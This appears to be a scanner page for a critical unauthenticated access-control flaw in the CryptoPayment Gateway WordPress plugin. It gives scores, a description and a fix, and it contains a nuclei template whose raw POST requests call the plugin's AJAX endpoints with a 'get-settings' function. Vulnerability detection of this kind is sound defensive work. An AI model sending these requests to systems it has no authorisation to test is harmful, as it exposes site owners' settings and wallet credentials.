CryptoPayment Gateway <= 1.2.2 - Unauthenticated Broken Access Control

criticalseverity

10CVSS score

0.5%likelihood of exploitation, next 30 days

44%of all CVEs are less likely

Readycheck to confirm it

CryptoPayment Gateway WordPress plugin 1.2.1 to 1.2.2 contains a broken access control caused by missing authorization check on an AJAX endpoint, letting unauthenticated attackers perform administrative operations including file deletion and credential recovery.

Impact

Unauthenticated attackers can delete files, modify configurations, and recover wallet credentials, leading to full system compromise.

Fix

Update to a version later than 1.2.2 or the latest available version.

How to confirm it

Send: POST /wp-content/plugins/cryptopayment-gateway/vendor/cryptd/ajax1.php
Positive when: status_code == 200 and contains(to_lower(body), "security error")
Send: POST /wp-content/plugins/cryptopayment-gateway/vendor/cryptd/ajax.php
Positive when: status_code == 200 and contains(body, "success") and !contains(to_lower(body), "security error")

Run it with nuclei: nuclei -id CVE-2026-81648 -u <target>

The full check

id: CVE-2026-81648

info:
  name: CryptoPayment Gateway <= 1.2.2 - Unauthenticated Broken Access Control
  author: DhiyaneshDk
  severity: critical
  description: |
    CryptoPayment Gateway WordPress plugin 1.2.1 to 1.2.2 contains a broken access control caused by missing authorization check on an AJAX endpoint, letting unauthenticated attackers perform administrative operations including file deletion and credential recovery.
  remediation: |
    Update to a version later than 1.2.2 or the latest available version.
  impact: |
    Unauthenticated attackers can delete files, modify configurations, and recover wallet credentials, leading to full system compromise.
  reference:
    - https://wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-81648
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-81648
    epss-score: 0.00502
    epss-percentile: 0.43544
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 2
    vendor: cryptopayment-gateway
    product: cryptopayment-gateway
    framework: wordpress
  tags: cve,cve2026,wordpress,wp-plugin,wp,cryptopayment-gateway,access-control,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-content/plugins/cryptopayment-gateway/vendor/cryptd/ajax1.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        data={"function":"get-settings"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(to_lower(body), "security error")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-content/plugins/cryptopayment-gateway/vendor/cryptd/ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        data={"function":"get-settings"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success")'
          - '!contains(to_lower(body), "security error")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from